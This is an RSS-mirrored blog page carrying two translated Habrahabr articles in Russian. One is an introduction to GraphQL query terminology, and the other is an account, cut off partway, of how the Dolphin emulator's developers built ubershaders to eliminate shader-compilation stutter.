-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] Анатомия запросов GraphQL

Понедельник, 07 Августа 2017 г. 11:56 + в цитатник

Джентльменский набор терминов


Новый стандарт получения данных GraphQL стал популярен совсем недавно. Сейчас активно обсуждается развитие этой технологии, появляются все новые инструменты. Одно из достоинств GraphQL – он дает команде разработчиков универсальный язык для описания того, какие данные доступны в API. Но в каких терминах обсуждать сам язык запросов и технологию в целом?


Спецификация GraphQL содержит почти исчерпывающий набор терминов по всем аспектам GraphQL. Но спецификация довольно объемна. В этой статье мы на конкретных примерах узнаем наиболее важные понятия и термины, которых достаточно для обсуждения GraphQL на уровне специалиста.


Примечание – Эта статья не лучший выбор для изучения GraphQL с нуля. Сначала рекомендуется ознакомиться с материалами на сайте graphql.org, попробовать GraphQL в превосходном курсе Изучаем Apollo и затем вернуться к статье, чтобы погрузиться в язык технических терминов.


Основные запросы GraphQL


Часто запросом называют все, что уходит на сервер GraphQL. С этим связана некоторая путаница. Что является задачей для сервера, о выполнении которой его просят? Это может быть запрос данных (query), мутация (mutation) или подписка (subscription). Слово «запрос» прочно ассоциируется с сетевым запросом в понимании HTTP и транспортного уровня. Поэтому начать следует с нескольких общих понятий:


  • Документ GraphQL (GraphQL document). Строка на языке GraphQl, описывающая одну или несколько операций или фрагментов.
  • Операция (Operation). Единичный запрос данных, мутация или подписка, которые интерпретирует исполняемый модуль GraphQL.

Из чего состоит простейшая операция? Для примера возьмем очень простой документ GraphQL.


image
Рис. Составные части простого запроса.


Здесь показаны основные конструкции GraphQL, с помощью которых описываются запрашиваемые данные.


  • Поле (Field). Единица запрашиваемых данных, которая становится полем в ответе JSON. Обратите внимание, эти части называются «полями», как бы глубоко не находились в структуре запросе. Поле на вершине операции действует так же, как находящееся уровнем глубже.
  • Аргументы (Arguments). Набор пар ключ-значение, связанных с конкретным полем. Они передаются на сервер обработчику поля и влияют на получение данных. Аргументы могут быть литералами, как показано выше, или переменными, как в следующем примере. Надо отметить, что аргументы могут быть у любого поля, независимо от его уровня вложенности.

Приведенный выше запрос является несколько сокращенной формой GraphQL, позволяющей выразить потребность в данных максимально лаконично. Но операция GraphQL может включать еще три дополнительные части. Они используются, когда необходимо выполнить иное действие, чем запрос данных, или отправить динамически сформированные переменные.


В следующем примере показаны все эти части.


image
Рис. Более детальный запрос и его составные части.


  • Тип операции (Operation type). Возможно одно из трех значений: query, mutation, subscription, что указывает не тип выполняемой операции. Хотя языковые конструкции с разными операциями выглядят похоже, спецификация GraphQL предусматривает для них отличающиеся режимы выполнения на сервере.
  • Имя операции (Operation name). Присваивать имена удобно для отладки и логирования на сервере. Если что-не так в сетевых логах или инструмент типа Apollo Optics показывает проблемы на сервере GraphQL, легче найти проблемный запрос в проекте по имени, чем разбирать содержимое запроса. Имя операции подобно имени функции в языке программирования.
  • Определение переменных (Variable definitions). Запрос GraphQL может иметь динамическую часть, которая меняется при разных обращениях к серверу, в то время как текст запроса остается постоянным. Это переменные запроса. В языке GraphQL статическая типизация, что позволяет проверять значения переменных. В данной части объявляются типы переменных.

Переменные передаются отдельно от текста запроса в формате, принятом на транспортном уровне. В современных реализациях GraphQL обычно используется JSON. Вот как может выглядеть объект с переменными для показанного ранее запроса:


image
Рис. Пример объекта с переменными.


Как видно, ключ совпадает с названием, указанным в описании переменных. Значение взято из перечислимого типа Episode.


  • Переменные (Variables). Словарь значений, сопутствующий операции GraphQL. Содержит динамические параметры операции.

Еще одно базовое понятие не часто упоминается, но важно при обсуждении технических аспектов GraphQL – чем является то, что заключено в фигурные скобки?


image
Термин выборка (selection set) постоянно встречается в спецификации GraphQL. Именно с ним связана рекурсивная природа GraphQL, в которой возможны вложенные запросы.


  • Выборка (Selection set). Набор полей, запрашиваемых в операции или внутри другого поля. Для поля необходимо указать выборку, если поле возвращает объектный тип данных. Напротив, для скалярных полей типа Int и String не допускается указывать выборку.

Фрагменты


Фрагменты приносят еще больше возможностей в GraphQL. Вместе с тем приходя новые понятия.


  • Определение фрагмента (Fragment definition). Часть документа GraphQL, описывающая фрагмент GraphQL. Также называется именованным фрагментом (named fragment) в противоположность встроенному фрагменту (inline fragment), о котором будет сказано ниже.

image


  • Имя фрагмента (Fragment name). У каждого фрагмента уникальное в пределах документа имя. Оно используется для ссылки на фрагмент в операции или в другом фрагменте. Это имя, так же как имя операции, удобно использовать для логирования на сервере. Поэтому рекомендуется давать понятные имена, говорящие о назначении фрагмента. Если понадобиться оптимизировать запросы, правильно подобранное имя облегчает поиск места в коде, где задан фрагмент.
  • Применимость к типу (Type condition). В отличие от операции GraphQL, которая всегда начинается с одного из типов: query, mutation или subscription, – фрагмент может быть использован в разных выборках. Чтобы фрагмент можно было сам по себе проверить на соответствие схеме, указывается пользовательский тип данных, к которому применим фрагмент.

Использование фрагментов в операциях


Фрагменты не особо полезны вне операций. Возможны два способа вставки фрагментов, как показано ниже.


image
Рис. Два типа фрагментов в запросе.


  • Развертка фрагмента (Fragment spread). Чтобы вставить фрагмент в операцию или в другой фрагмент, указывается перед названием фрагмента. Это называется разверткой. Она может присутствовать в выборке, которая применяется к тому же типу что и фрагмент.
  • Встроенный фрагмент (Inline fragment). Добавляет поля в выборку в зависимости от типа, к которому эта выборка применяется. При этом не создается внешнее определение фрагмента. Встроенный фрагмент подобен именованному, но задается в самом запросе. Отличие от именованного фрагмента в том, что не обязательно указывать тип данных. Чаще такие фрагменты используют вместе с директивами, как будет показано далее.

Директивы


С помощью директив реализуются дополнительные функции сервера GraphQL. Директивы не влияют на результирующие значения, но могут влиять на состав возвращаемых данных и, возможно, на то, как они получены. Директивы можно встретить почти в любом месте запроса, но в данной статье упоминаются только директивы skip и include, которые определены в текущей спецификации GraphQL.


image


Рис. Показанные конструкции вряд ли встречаются в одном запрос, но их удобно разом продемонстрировать в таком виде.


На рисунке – не связанные между собой примеры того, где можно использовать директивы skip и include. Они задают условия исполняемому модулю GraphQL игнорировать поля и не включать их значения в результат. Синтаксис директив открытый, и с их помощью разные реализации GraphQL могут добавлять новые возможности, не сильно усложняя разбор и выполнение запросов.


  • Директивы (Directives). Аннотации полей, фрагментов и операций, влияющие на их выполнение и возврат результатов.
  • Аргументы директив (Directive arguments). Имеют тот же смысл, как аргументы полей, но обрабатываются в исполняемом модуле GraphQL, а не передаются в функции-обработчики полей.

Включайтесь в обсуждение


Важное достоинство GraphQL – наличие универсального языка, с помощью которого можно описывать получение данных. Теперь у вас есть джентельменский набор терминов для обсуждения GraphQL, например в рамках продолжающейся дискуссии о подписках GraphQL.


В этой статье мы коснулись лишь части спецификации GraphQL, которая посвящена языку запросов. В следующих статьях мы, возможно, рассмотрим термины, в которых описывается схема GraphQL.


Хотите использовать технолоии GraphQL в повседневной работе? У нас есть различные вакансии на frontend, backend и open source!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335050/


Метки:  

[Перевод] Убершейдеры в эмуляторе GameCube/Wii: восхитительное решение нерешаемой проблемы

Понедельник, 07 Августа 2017 г. 11:19 + в цитатник


Любимые игры через Dolphin на мощном компьютере работают достаточно неплохо. Игра выполняется с полной скоростью, нет графических глитчей и можно использовать любой контроллер. Однако при попадании в новую область или загрузке нового эффекта присутствует совсем небольшое, но заметное «подвисание». Если отключить для проверки ограничитель количества кадров, то видно, что игра может работать гораздо быстрее, чем на полной скорости. Что же происходит?

Замедление при загрузке новых областей, эффектов, моделей и остального обычно называется пользователями и разработчиками «подвисанием при компиляции шейдеров». Эта проблема присутствовала в Dolphin с самого начала, но привлекла внимание только недавно.

Когда игры едва работали, лёгкие подвисания конечно были, но не вызывали больших проблем. Однако, эмуляция во многих играх постепенно улучшилась до почти идеального состояния, а подвисания оставались неизменными в течение многих лет. С момента выпуска Dolphin 4.0 пользователи начали ещё сильнее жаловаться на подвисание при компиляции шейдеров. Частично это было вызвано повышением требований к видеопроцессору из-за целочисленной математики, но в основном подвисание стало заметно потому, что других серьёзных проблем в эмуляторе не осталось.

Разработчики испытывали к подвисанию при компиляции шейдеров неприязнь и даже антипатию. Проблема казалась неразрешимой, в сообществе она вызывала боль и раздражение. Иронично то, что мы ненавидели подвисание, как никто другой, но сама безумная сложность задачи отпугивала большинство разработчиков. Несмотря на это, некоторые из них продолжали в одиночестве хранить надежду. Решение родилось как теория, которая имела вероятность сработать. Теория, которая бы потребовала сотен, если не тысяч человеко-часов только для проверки возможности её реализации.

Именно эта надежда подтолкнула нас к сложному путешествию почти без шансов на успех. Путешествию, потребовавшему два года работы нескольких специалистов по видеопроцессорам. И всё это для того, чтобы эмулировать весь путь первичного программируемого конвейера GameCube/Wii без этого раздражающего подвисания.

Это был рассвет эры убершейдеров.

Проблема


Современные видеопроцессоры невероятно универсальны, но универсальность имеет свою цену — они безумно сложны. Для использования всей их мощи разработчики используют шейдеры — программы, которые видеопроцессор выполняет так же, как центральный процессор выполняет приложения. Они программируют видеопроцессор на реализацию эффектов и сложных техник рендеринга. Разработчики пишут код на языке шейдеров в API (например, в OpenGL), а компилятор шейдеров в видеодрайвере транслирует код в двоичные команды, которые может выполнять видеопроцессор. Для такого компилирования требуются вычислительные ресурсы и время, поэтому в современных играх для PC эту проблему решают компилированием в моменты, когда частота кадров не важна, например, во время загрузки. Из-за большого количества различных компьютерных видеопроцессоров игры для PC не могут заранее компилировать шейдеры под определённый видеопроцессор. Поэтому единственный способ выполнения шейдеров на конкретном оборудовании — компилирование их видеодрайвером в определённый момент игры.


Видеопроцессор GameCube Flipper, самый большой чип на материнской плате. Источник: Anandtech

В консолях всё совершенно по-другому. Если вы точно знаете, на каком оборудовании будет выполняться игра, и знаете, что это оборудование никогда не будет меняться, то можете просто предварительно откомпилировать программы для видеопроцессора и записать их на диск, ускорив загрузку игры и обеспечив постоянную скорость работы. Это особенно важно на старых консолях, у которых не хватает памяти, а может и вообще нет возможности хранить шейдеры в памяти. Видеопроцессор GameCube под названием Flipper как раз является таким случаем.

У Flipper есть элементы с постоянными функциями, поэтому в нём использовался программируемый модуль TEV (Texture EnVironment, текстурная среда), который можно сконфигурировать для выполнения огромного множества эффектов и техник рендеринга — почти так же, как это делают пискельные шейдеры. Фактически возможности модуля TEV очень похожи на функции пиксельных шейдеров DirectX 8 в Xbox! Он был настолько универсальным и мощным, что Flipper с некоторыми модификациями использовали в качестве видеопроцессора Wii (уже под названием Hollywood). К сожалению для нас, модуль TEV предназначен для выполнения конфигураций TEV в играх непосредственно в момент, когда требуется эффект. Нет никакой предварительной загрузки конфигураций TEV, потому что в модуле TEV нет для этого памяти.

Эта мгновенная загрузка стала источником всех наших проблем. Dolphin должен быть транслировать каждую используемую игрой конфигурацию Flipper/Hollywood в специализированный шейдер, который мог выполнить видеопроцессор компьютера. Шейдеры нужно компилировать, а это занимает время. Но модуль TEV не имеет возможности сохранять конфигурации, поэтому игры GC/Wii настраивают его таким образом, чтобы он рендерил эффект сразу же, как только он потребуется, без всяких задержек и уведомлений. Чтобы справиться с этим несоответствием, Dolphin может только отложить поток видеопроцессора, пока поток видеопроцессора и видеодрайвер выполняют компиляцию, то есть, фактически, приостанавливая работу эмулируемой консоли GC/Wii. Обычно компиляция выполняется между кадрами и пользователи этого не замечают, но если она длится дольше кадра, то игра ощутимо приостанавливается до завершения компиляции. Это и есть подвисание при компиляции шейдеров. Обычно подвисание длится всего пару кадров, но в очень нагруженных сценах с несколькими компилирующимися шейдерами возможны подвисания больше чем на секунду.

Пока не создастся кеш шейдеров, игровой процесс Metroid Prime 3 довольно мучителен (GIF).

Dolphin был первым эмулятором, эмулирующим на полной скорости систему с программируемым видеопроцессором, поэтому нам пришлось решать эту проблему самостоятельно. Мы реализовали кеширование шейдеров, то есть при включении любой конфигурации во второй раз она уже не подвисала. Но для создания надёжного кеша нужно было бы играть в игру несколько часов, а замена видеопроцессора компьютера, обновление видеодрайвера или даже переход на новую версию Dolphin могли привести к устареванию кеша и новым подвисаниям. В течение нескольких лет нам казалось, что с проблемами при компиляции шейдеров сделать ничего не удастся, и многие задавались вопросом, возможно ли это вообще…

Решение неразрешимой проблемы


Из всех оставшихся проблем Dolphin на подвисание при компиляции шейдеров пользователи жаловались больше всего. При обсуждениях в баг-трекерах, на форумах, в соцсетях и IRC постоянно всплывал этот вопрос. Через несколько лет мы уже стали реагировать на него иначе. Сначала подвисание даже не считали багом. Какое значение имеют небольшие торможения, если игры вообще едва работают? Всё изменилось в январе 2015 года, когда подвисание формально признали проблемой в баг-трекере Dolphin и информация о ней начала распространяться.

За последние годы пользователи задали кучу вопросов о подвисании, требовали решения проблемы, объявляли эмулятор бесполезным, а не которые даже ругали разработчиков на чём свет стоит за недостаток внимания к компиляции шейдеров. Правда заключается в том, что мы ненавидим эти подвисания как никто другой, и мы думали об этой проблеме много лет. Придумывалось множество решений, некоторые из них даже тестировались. Но казалось, что задачу не решить без серьёзных побочных эффектов.

Возможные решения


Генерировать все шейдеры заранее!



Для справки: на Земле около 7,5 x 1015 песчинок.

Dolphin умеет довольно быстро генерировать нужные ему шейдеры, но проблема заключается в компиляции. Но если бы нам удалось каким-то образом сгенерировать и скомпилировать шейдеры для каждой возможной конфигурации, это бы решило проблему, так ведь? К сожалению, это попросту невозможно.

Существует примерно 5,64 x 10511 возможных конфигураций только одного модуля TEV, и нам бы пришлось создавать уникальный шейдер для каждой из конфигураций. Кроме того, в системе используются вершинные шейдеры для эмуляции полупрограммируемого модуля аппаратных преобразований и освещения (Hardware Transform and Lighting unit), и они ещё больше увеличивают количество комбинаций.

Даже если бы мы могли скомпилировать их, эти шейдеры можно было бы использовать только в версии Dolphin, для которой они сгенерированы. При обновлении до новой сборки потребовался бы новый комплект шейдеров. В других случаях, например, при замене видеокарты или обновлении видеодрайверов тоже потребовалась бы рекомпиляция. И всё это возможно было бы при наличии у драйвера низкоуровневого кеша, который есть не у всех драйверов.

Предугадывать шейдеры, которые потребуются игре!




Если бы нам удалось генерировать и компилировать шейдеры только на экранах загрузки и в других подобных случаях, то подвисания были бы незаметны. Но реализовать прогнозирование так, чтобы оно решало проблему, просто невозможно. Влияние на скорость и сложности с реализацией «предсказаний» быстрой перемоткой вперёд и прогнозированием вводимых данных слишком затратны для ситуаций, которых они могли помочь.

Предсказания вслепую тоже не работают — игра может выбирать запускаемые конфигурации и никак не предупреждает об этом, а предыдущие конфигурации ничего не говорят нам о следующих. Единственный способ узнать, какие шейдеры потребуются игре — пройти игру и найти каждую конфигурацию, которая ей может понадобиться.

… Что привело нас к ещё одному предложенному решению.

Общие шейдеры




Для описания конфигурации эмулируемого видеопроцессора Dolphin использует объект «Unique ID» («UID»). Эти UID превращаются в код шейдера и передаются видеодрайверу для компиляции. Поскольку UID присваиваются до компиляции и не подгоняются под какой-то конкретный компьютерный видеопроцессор, то они совместимы с любым компьютером и теоретически их можно делать общими. Теоретически, если пользователи будут делиться файлами UID, то они смогут компилировать шейдеры заранее и у них не возникнет подвисание. В настоящее время в API Vulkan уже есть такая возможность, которая необходима, чтобы избежать проблемы с кешированием шейдеров у некоторых драйверов.

Так почему же это решение так и не было реализовано?

  • Dolphin продолжает совершенствоваться. При внесении графических улучшений все эти UID пришлось бы выбросить.
  • Не все игры можно так обработать. У популярных игр была бы почти полная коллекция UID, но людям, играющим в малоизвестные шедевры, мы ничем не смогли бы помочь.
    • При тестировании оказалось, что разные игры имеют очень мало общих UID. У The Legend of Zelda: The Wind Waker и The Legend of Zelda: Twilight Princess есть небольшая часть общих конфигураций (15%), но они работают на одинаковом базовом движке. Большинство игр будут иметь гораздо меньше общего, поэтому обмен информацией о популярных играх точно ничем не помогло бы менее известным.

  • У пользователей могут отсутствовать разные UID. Существует почти бесконечное количество конфигураций. Даже стопроцентное прохождение игры не гарантирует того, что вы задействуете их все.

Разработчики какое-то время взвешивали это решение, но обсуждение инфраструктуры обмена UID и поиска хорошего способа их распространения создавали больше разногласий, чем решений. Эту систему можно было бы использовать для улучшения уже работающего решения, но само оно им стать не могло.

Асинхронная компиляция шейдеров




Асинхронная компиляция шейдеров, получившая популярность благодаря форку — это нестандартное решение дилеммы компиляции шейдеров. Tino посмотрел на проблему почти так же, как некоторые современные игры решают задачу динамической компиляции новых шейдеров. Когда игрок появляется в новой области, новые объекты иногда просто возникают из ничего, то есть загружаются динамически. Он задумался, не удастся ли получить похожий результат в эмуляторе, и в своём форке начал переписывать способ обработки шейдеров.

Концепция асинхронной компиляции шейдеров меняла поведение Dolphin, когда он не находил кешированного шейдера для обнаруженной конфигурации Flipper/Hollywood. Вместо приостановки игры и ожидания компиляции шейдера он просто пропускал рендеринг объекта. Это значило, что никаких пауз и подвисаний не стало, но некоторые объекты могли отсутствовать в кадре, пока их шейдер не был готов.

Для некоторых игр этот способ сработал неплохо. В части игр движок отсекал объекты при отрисовке таким образом, что объекты вне области видимости камеры или закрывавшие всего несколько пикселей экрана всё равно рендерились. В таком случае пропуск рендеринга таких объектов был едва заметен. Однако в других играх это приводило к описанному выше эффекту «появления ниоткуда».

При пропуске компиляции шейдеров объекты могли возникать из воздуха, а графика выглядела поломанной (GIF). Зато игровой процесс оставался плавным!

Пользователи задавали вопрос: почему в Dolphin не включили асинхронные шейдеры Tino хотя бы в виде опции для решения проблемы подвисаний при компиляции шейдеров. Всё свелось к тому, что люди, которые могли реализовать эту функцию вместе с другими основными разработчиками, были против такого решения. Они видели в нём только хак, который привёл бы к куче ложноположительных отчётов в баг-трекере и возникновению в будущем ещё больших проблем. В чём-то они были правы: стало ясно, что некоторым играм нужно рендерить объекты в том кадре, в котором они ожидаются. В этом случае головы аватаров Mii рендерились только один раз во встроенный буфер кадра (Embedded Framebuffer, EFB). Если копия EFB отсутствовала из-за асинхронной компиляции шейдеров, то головы Mii не отображались до конца игры или до их регенерации.


Безголовые Mii

Несмотря на все изъяны, пользователи форка Tino уверовали в асинхронную компиляцию шейдеров. Пусть асинхронные шейдеры вызывают проблемы, главное — они решили проблему подвисания при компиляции шейдеров. Из-за очевидных недостатков его нельзя было объединить с мастер-веткой Dolphin, но такое решение определённо подчеркнуло серьёзность проблемы с компиляцией генерируемых шейдеров. Работа Tino над асинхронной компиляцией шейдеров наглядно показала нам, насколько эта проблема волнует пользователей, и ещё больше мотивировала команду на поиск более совершенного решения.

Решение


Написать интерпретатор конвейера рендеринга GameCube/Wii внутри шейдеров и запустить его в видеокарте компьютера


Иногда лучший способ решить неразрешимую проблему — посмотреть на неё под другим углом. Что бы мы не пытались сделать, не было никакой возможности компилировать специализированные шейдеры с такой же скоростью, с которой игра меняет конфигурации.

Но что если мы не будем полагаться на специализированные шейдеры? У нас родилась безумная идея — эмулировать сам конвейер рендеринга с помощью интерпретатора, который выполняется непосредственно в видеопроцессоре как множество огромных универсальных шейдеров. Если мы будем компилировать эти огромные шейдеры при запуске игры, то когда игра будет менять конфигурацию Flipper/Hollywood для рендеринга эффектов, такие «убершейдеры» будут конфигурировать себя сами и выполнять рендеринг без необходимости новых шейдеров. Теоретически, это решит проблему с подвисанием при компиляции шейдеров благодаря полному отказу от компиляции.

Эта мысль выглядела безумной, но она была первой, имевшей потенциал решения этой неразрешимой проблемы. Сложность этого решения заключалась в абсурдном объёме работы и знаний для достижения хотя бы этапа проверки его возможности. Чтобы вы понимали: даже среди всех разработчиков Dolphin только два-три человека в лучшем случае имели знания не только о «железе» GameCube/Wii, но и о современных видеопроцессорах, GPU, API и драйверах, необходимые для написания и оптимизации шейдеров. Это ещё не говоря о том, что выполнение интерпретатора как огромных шейдеров — не слишком простая задача для видеопроцессора. Многие опасались, что результаты всей этой работы не смогут выполняться с полной скоростью даже на современных видеокартах.

Чтобы гарантировать выигрыш, потребовались бы сотни, если не тысячи, часов отупляющей, монотонной, но сложной работы.

Первая попытка была сделана в 2015 году, когда разработчику phire настолько надоели подвисания на его новом мощном компьютере, что он внёс предложение и разработал фреймворк для убершейдера. Хотя он был в курсе всех сложностей, но, казалось, он решительно намеревался доказать, что убершейдеры — решение нашей древней проблемы. phire в одиночку попытался заново научить Dolphin рендерингу.


Это не графический фильтр.


Кажется, тут есть пара глитчей...


Благодаря своей простоте SM64 стала одной из первых игр, в которой что-то рендерилось через убершейдеры.

После дошлифовки этой функции в течение месяца ему удалось довести пиксельные убершейдеры до того этапа, на котором некоторые игры выглядели почти так же, как их версии на быстрых шейдерах. Удивительно было не то, что они работают, а то, что прототипы убершейдеров позволяют выполнять игры на полной скорости. Сам phire вспоминает, что его первой реакцией было: нифига себе, они действительно работают на полной скорости. Он признавался, что видеопроцессоры и не должны были справиться с работой на играбельной скорости, но им это удалось. Против всех ожиданий, прототипы доказали, что убершейдеры могут стать решением проблемы с подвисаниями при компиляции шейдеров. Поэтому при дальнейшем усовершенствовании мы повысили точность убершейдеров, исправили многие ошибки и реализовали недостающие возможности.


В самом начале убершейдеры превращали игры в картинку искажённой реальности.


Но ситуация быстро улучшалась.


Мы глазом не успели моргнуть, а Wind Waker уже стала рендериться всего лишь с небольшими ошибками.


phire довольно быстро удалось добиться идеального рендеринга Wind Waker. К сожалению, другие игры с более широким списком возможностей требовали гораздо больше работы.

Доведя проект убершейдеров до этого этапа, phire совершенно выбился из сил. Более того, ему ещё предстояла куча работы по отладке других проектов к выпуску Dolphin 5.0. Оказалось, что задержки имеют свою цену — из-за выгорания и волнений по поводу ограничений драйверов и API phire потерял весь свой запал. Несмотря на то, примерно 90% было готово, оставались ещё 90%, в том числе несколько важных функций.

  • Завершение вершинных убершейдеров
  • Инфраструктурные/соединительные пиксельные и вершинные убершейдеры
  • Решение проблем с производительностью OpenGL и (после rebase) с Vulkan
  • Очистка кода, исправление ошибок и получение таких же результатов рендеринга, как на специализированных шейдерах
  • Опции графического интерфейса пользователя
  • Дополнительно — гибридный режим для встроенных и слабых видеопроцессоров

Мучительно было видеть, что такой объём работы завис в неопределённости. Но не удавалось найти разработчиков, способных и желающих взяться за столь огромный проект. Даже те, кто решил работать над ним, не готовы были к подчистке кода, исправлению ошибок и работе над инфраструктурой. Больше года развитие убершейдеров простаивало, список так и не завершённых функций постоянно разрастался, а надежда постепенно угасала…

Убершейдеры 2.0


Подвисания при компиляции шейдеров Dolphin были одной из самых заметных ошибок, поэтому после завершения разработки убершейдеров пользователи о них не забыли. Давно заброшенный пул-реквест продолжал пополняться комментариями, о проблеме писали на форумах и даже заявляли о ней в разных формах в баг-трекере.

Убершейдеры оставались первой настоящей надеждой на устранение подвисаний, и они ежемесячно всплывали в обсуждениях. Полученный прогресс только подстегнул интерес сообщества к решению. После множества просьб, жалоб и даже шантажа требований Stenzek с неохотой начал работать над убершейдерами.

Ещё даже до того, как Stenzek занялся убершейдерами, команда приняла решения относительно поддержки графических API. Одно из решений, а именно отказ от API D3D12, получило смешанные, если не отрицательные отзывы. В отличие от решения с D3D9, мы не хотели проходить процесс постепенного отказа и избавились от него сразу же, как стало очевидно, что никто не хочет поддерживать этот API.

Но это оказалось удачным решением, потому что избавление от API позволило возродить проект убершейдеров, когда Stenzek оказался к этому готов. Он был архитектором бекэнда Vulkan в Dolphin, поэтому хотел проделать лишний труд, чтобы заставить убершейдеры работать с Vulkan.

Когда пиксельные и вершинные убершейдеры наконец были объединены вместе и готовы и запуску, тестеры незамедлительно использовали их в самых сложных играх. Учитывая то, что ни одно из предыдущих решений не работало нормальнов Metroid Prime 3, эта игра стала первым кандидатом.


Metroid Prime 3 была одной из немногих игр, в которой подвисания шейдеров снижали рейтинг до неиграбельного. До недавнего времени (GIF)!

Первый тест убершейдеров увенчался огромным успехом: подвисания полностью исчезли в D3D, а в OpenGL и Vulkan на ранних этапах возникали только некоторые странные торможения. Продолжив работу над убершейдерами, мы намного улучшили их работу во всех API, за несколькими исключениями, о которых я расскажу позже. Но просто запускать игру на убершейдерах был недостаточно: они сами отъедали большое количество ресурсов видеокарты компьютера. Конечно, требования разных игр отличаются, но обычно на видеокарту сильно влияло разрешение, в котором запускалась игра. С «родным» разрешением 1x (480p) справлялось большинство видеокарт, а более мощные карты могли даже работать с разрешениями от 1080p или выше, при этом используя только убершейдеры. К сожалению, у многих наших пользователей не было оборудования, необходимого для запуска убершейдеров в разрешении, к которому они привыкли. Поэтому им приходилось выбирать между разрешением и плавностью работы.


Встроенные видеопроцессоры Intel едва справляются с специализированными шейдерами Dolphin на высоких разрешениях, не говоря уж об убершейдерах. (Нажмите на изображение для просмотра статистики.)

У очень большой части пользователей Dolphin в компьютерах стоят встроенные видеопроцессоры. При тестировании встроенных видеопроцессоров они в лучшем случае давали в 3D-играх с убершейдерами в разрешении 1x всего около 50% скорости! Разработчики понимали, что ошибкой будет игнорировать огромную часть пользователей Dolphin и сделали убершейдеры опциональными. Продолжилась работа над поиском более надёжного решения, способного раз и навсегда решить проблемы с производительностью.

Гибридный режим убершейдеров


Гибридный режим убершейдеров — это соединение убершейдеров и асинхронной генерации шейдеров в одном красивом решении, взявшем лучшее от каждого подхода, но избавившемся от их недостатков. Поскольку гибридный режим сильно снижал потребление ресурсов убершейдерами, мы ожидали, что это будет самый популярный режим убершейдеров.

В гибридном режиме при появлении новой конфигурации конвейера Dolphin использует уже скомпилированные убершейдеры для мгновенного рендеринга эффекта без подвисаний, продолжая компилировать специализированный шейдер в фоновом режиме. После создания специализированных шейдеров Dolphin передаёт рендеринг объектов из убершейдера в эти сгенерированные специализированные шейдеры.

Если предположить, что драйверы и API будут вести себя нужным нам образом, то это станет отличным решением. Поскольку убершейдеры выполняются только для части объектов в сцене и не для всех кадров, влияние на производительность почти незаметно, а подвисания полностью устраняются. К сожалению, драйвера и API неидеальны, что ограничивает эффективность гибридного режима на некоторых машинах. И это приводит нас к…

Доске позора API и драйверов для убершейдеров


Перед разработчиками драйверов видеопроцессоров стоит сложная задача: им нужно выжать как можно больше мощности из оборудования, но в то же время обеспечить стабильность работы. Мы не хотим оскорбить никого из создателей драйверов, но одним из самых серьёзных препятствий в этом проекте стало огромное количество странностей в поведении драйверов и API. Из-за них приходилось придумывать обходные пути и вносить другие изменения в функционал.

Мы хотим привлечь к этому вопросу внимание. Возможно, кто-нибудь вне проекта сможет придумать обходной путь или хотя бы будет следить за обновлениями драйверов/API, в которых перечисленные ошибки, возможно, исправят.

Генерация вариантов шейдеров


Драйверы могут выполнять операции неожиданным и неконтролируемым для нас образом. Когда нам нужно сгенерировать новый конвейер для других состояний смешения или глубины, некоторые драйверы недостаточно умны, чтобы использовать в разных конвейерах одинаковые шейдеры. Это приводит к незначительным подвисаниям при первом использовании режима смешения. В большинстве случаев используемые игрой варианты генерируются за несколько первых минут игрового процесса, но когда стремишься к совершенству, это всё равно может раздражать.

К счастью, некоторые драйверы умны (например, драйвер Mesa) и делятся шейдерами с разными конвейерами, поэтому дополнительное подвисание не возникает. Все другие драйверы в различной мере страдают от подвисаний при генерации вариантов. Пока мы ничего не можем с этим сделать, но надеемся, что со временем драйверы Vulkan позаимствуют у Mesa нужное нам поведение.

Блокировка шейдеров NVIDIA в OpenGL и Vulkan


Некоторые пользователи сообщают о том, что в OpenGL и Vulkan (в гибридном режиме) присутствуют незначительные подвисания при компиляции шейдеров. Мы не совсем понимаем, что происходит, потому что такого не бывает D3D, но мы почти уверены, что это странность драйвера NVIDIA, а не ошибка обработки Dolphin. Согласно нашим тестам эта проблема не связана с генерацией вариантов.

Скомпилированные шейдеры NVIDIA в OpenGL и Vulkan намного медленнее, чем в D3D


Это особенно раздражает, потому что у нас нет хорошей возможности избавиться от этого бага. Мы передаём одинаковые шейдеры видеопроцессорам с OpenGL, Vulkan и D3D, но оказывается, что D3D гораздо быстрее обрабатывает шейдеры. Это значит, что на GTX 760 с OpenGL или Vulkan вы можете получить разрешение 1x, но с D3D его можно спокойно удвоить или даже утроить без заметного подтормаживания.

NVIDIA запрещает дизассемблировать шейдеры, несмотря на то, что все другие производители видеопроцессоров предоставляют открытые дизассемблированные шейдеры. Поэтому мы никак не можем исправить эту ошибку или разобраться, почему скомпилированный код настолько эффективнее в D3D. Задумайтесь, насколько это забавно: мы хотим, чтобы Dolphin быстрее работал с картами NVIDIA, но компания не даёт нам для этого инструментов. Надеюсь, в будущем компания откажется от этого препятствия. Без предоставленных другими производителями инструментов для дизассемблирования исправление ошибок было бы гораздо сложнее.

Печально то, что нужные нам инструменты доступны — если вы достаточно большая игровая компания. Исправление: компания NVIDIA сообщила нам, что она предоставляет инструменты дизассемблирования шейдеров только для Direct3D 12 (с подписанием договора о неразглашении), а для других API такие инструменты недоступны. Надеемся, инструменты для других API появятся в будущем.

В драйвере AMD для Vulkan по-прежнему нет поддержки кеша шейдеров


Пока мы писали эту статью, наши мечты исполнились! Драйвер AMD для Vulkan теперь поддерживает кеш шейдеров! Это сильно облегчает отчаянную ситуацию с убершейдерами, потому что иначе бы нам приходилось рекомпилировать убершейдеры при каждом запуске. Кроме того, это шаг к решению упомянутой выше проблемы с подвисанием при генерации вариантов.

Видеодрайверы для macOS по-прежнему ужасны


